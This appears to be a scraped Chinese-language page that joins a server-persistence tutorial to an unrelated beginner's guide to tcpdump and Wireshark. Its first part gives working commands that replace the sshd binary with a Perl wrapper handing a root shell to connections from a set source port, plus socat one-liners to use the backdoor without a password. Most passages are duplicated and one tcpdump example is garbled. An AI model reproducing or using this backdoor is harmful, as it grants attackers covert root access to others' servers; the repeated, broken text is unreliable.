权限维持
权限持久化(后门)
为了能够持续的对目标进行控制,我们可以通过在目标机器上留下一个后门,方便我们下次继续控制目标,并得到root权限。
利用SSH Server Wrapper技术,在dev服务器留下SSH登录后门,
cd /usr/sbin/
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
可无需密码获得目标主机root用户权限:
echo "ls" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
echo "whoami" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
echo "ip addr" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
这里因为中国蚁剑的模拟终端会自动的把进程放到后台,因此,无法直接在终端中与我们留下的后门进行命令交互,这里采用管道|的方法,把要执行的命令重定向到与后门的连接中,并返回执行后的
注意:因为每执行一次命令需要连接我们的后门,然后执行命令,返回结果,因此在执行下个命令时,需要稍微等待几秒时间,等待上次连接关闭,然后才能继续执行命令,否则会出现如图所示错误:Address already in use。
权限持久化(后门)
为了能够持续的对目标进行控制,我们可以通过在目标机器上留下一个后门,方便我们下次继续控制目标,并得到root权限。
利用SSH Server Wrapper技术,在dev服务器留下SSH登录后门,
cd /usr/sbin/
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
可无需密码获得目标主机root用户权限:
echo "ls" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
echo "whoami" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
echo "ip addr" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526
这里因为中国蚁剑的模拟终端会自动的把进程放到后台,因此,无法直接在终端中与我们留下的后门进行命令交互,这里采用管道|的方法,把要执行的命令重定向到与后门的连接中,并返回执行后的
注意:因为每执行一次命令需要连接我们的后门,然后执行命令,返回结果,因此在执行下个命令时,需要稍微等待几秒时间,等待上次连接关闭,然后才能继续执行命令,否则会出现如图所示错误:Address already in use。
什么是 tcpdump?
tcpdump 是一个命令行数据包分析器,可让您捕获和显示通过网络传输的数据包。
tcpdump 是由劳伦斯伯克利国家实验室的 Van Jacobson、Craig Leres 和 Steven McCanne 于 20 世纪 80 年代末创建的。它是一款适用于 Linux、FreeBSD、OpenBSD 和 macOS 等基于 Unix 的操作系统的开源工具,也可以通过 WinDump 等端口在 Windows 上使用。
什么是 Wireshark?
Wireshark 是一个基于 GUI 的数据包分析器。它为捕获和分析网络流量提供了更加用户友好的界面。
tcpdump 是一个命令行数据包分析器,可让您捕获和显示通过网络传输的数据包。
tcpdump 是由劳伦斯伯克利国家实验室的 Van Jacobson、Craig Leres 和 Steven McCanne 于 20 世纪 80 年代末创建的。它是一款适用于 Linux、FreeBSD、OpenBSD 和 macOS 等基于 Unix 的操作系统的开源工具,也可以通过 WinDump 等端口在 Windows 上使用。
什么是 Wireshark?
Wireshark 是一个基于 GUI 的数据包分析器。它为捕获和分析网络流量提供了更加用户友好的界面。
tcpdump 的作用是什么
tcpdump 用于捕获网络数据包。数据包是通过网络发送的一小段数据。tcpdump 从网络接口捕获并显示这些数据包,让您查看传输的数据。
Tcpdump 通过命令行界面 (CLI) 工作,这意味着您可以通过在终端中输入命令来与其交互。CLI 允许更强大和更灵活的使用,特别是如果您习惯使用终端。
它还很轻量,适合资源有限或 GUI 不实用的环境。
tcpdump 的主要功能之一是其过滤数据包的能力。使用Berkeley Packet Filter 语法,您可以应用过滤器来捕获特定类型的流量,例如来自特定 IP 地址的数据包或使用特定协议的数据包。
tcpdump 用于捕获网络数据包。数据包是通过网络发送的一小段数据。tcpdump 从网络接口捕获并显示这些数据包,让您查看传输的数据。
Tcpdump 通过命令行界面 (CLI) 工作,这意味着您可以通过在终端中输入命令来与其交互。CLI 允许更强大和更灵活的使用,特别是如果您习惯使用终端。
它还很轻量,适合资源有限或 GUI 不实用的环境。
tcpdump 的主要功能之一是其过滤数据包的能力。使用Berkeley Packet Filter 语法,您可以应用过滤器来捕获特定类型的流量,例如来自特定 IP 地址的数据包或使用特定协议的数据包。
tcpdump 的 MAN
在 Linux 系统中,如果您不了解任何应用程序的详细信息。您可以查阅 man 以获取其用户手册。以下是 tcpdump 的 MAN。
在特定网络接口上捕获数据包
sudo tcpdump -i <接口名称>下图中选择的接口是 ens33
sudo tcpdump -i ens33
应用特定协议的过滤器
sudo tcpdump -i <接口名称> -s0 -w <文件名.pacp > <协议>
sudo tcpdump -i ens33 -s0 -w s1_setup.pcap sctp
应用具有源 IP、特定端口和目标 IP 的多重过滤器
sudo tcpdump -i src <ip 地址> port <端口号> dst <ip 地址> -s0 -w <文件名.pacp >
sudo tcpdump -i src 192.168.3.1 端口 36422 dst 192.168.3.100 -s0 -w s1_setup.pacp
以十六进制 和 ASCII格式 显示运行时数据包链接级别标头
在 Linux 系统中,如果您不了解任何应用程序的详细信息。您可以查阅 man 以获取其用户手册。以下是 tcpdump 的 MAN。
在特定网络接口上捕获数据包
sudo tcpdump -i <接口名称>下图中选择的接口是 ens33
sudo tcpdump -i ens33
应用特定协议的过滤器
sudo tcpdump -i <接口名称> -s0 -w <文件名.pacp > <协议>
sudo tcpdump -i ens33 -s0 -w s1_setup.pcap sctp
应用具有源 IP、特定端口和目标 IP 的多重过滤器
sudo tcpdump -i src <ip 地址> port <端口号> dst <ip 地址> -s0 -w <文件名.pacp >
sudo tcpdump -i src 192.168.3.1 端口 36422 dst 192.168.3.100 -s0 -w s1_setup.pacp
以十六进制 和 ASCII格式 显示运行时数据包链接级别标头
如何使用 tcpdump
让我们看一下使用 tcpdump 命令的一些基本语法和高级过滤。这些包括:
在特定网络接口(例如 eth0)上捕获数据包:
tcpdump -i eth0
仅捕获特定接口上发往或来自特定 IP 地址(例如 192.168.37.152)的数据包:
tcpdump -i eth0 host 192.168.37.152
仅捕获来自 eth0 且经过 ARP 协议过滤的数据包:
tcpdump -i eth0 arp
将捕获的数据包保存到文件:
tcpdump -i eth0 -w capture.cap
从保存的文件中读取:
tcpdump -r capture.cap
在 eth0 接口上捕获 TCP 数据包,其中 TCP 有效负载的前四个字节与 ASCII 字符串 SSH 匹配 - 这将查找 SSH 服务器给出的答复:
tcpdump -i eth0 'tcp[(tcp[12]>>2):4] = 0x5353482D'
如果您想了解更多可以与 tcpdump 一起运行的过滤器和命令
让我们看一下使用 tcpdump 命令的一些基本语法和高级过滤。这些包括:
在特定网络接口(例如 eth0)上捕获数据包:
tcpdump -i eth0
仅捕获特定接口上发往或来自特定 IP 地址(例如 192.168.37.152)的数据包:
tcpdump -i eth0 host 192.168.37.152
仅捕获来自 eth0 且经过 ARP 协议过滤的数据包:
tcpdump -i eth0 arp
将捕获的数据包保存到文件:
tcpdump -i eth0 -w capture.cap
从保存的文件中读取:
tcpdump -r capture.cap
在 eth0 接口上捕获 TCP 数据包,其中 TCP 有效负载的前四个字节与 ASCII 字符串 SSH 匹配 - 这将查找 SSH 服务器给出的答复:
tcpdump -i eth0 'tcp[(tcp[12]>>2):4] = 0x5353482D'
如果您想了解更多可以与 tcpdump 一起运行的过滤器和命令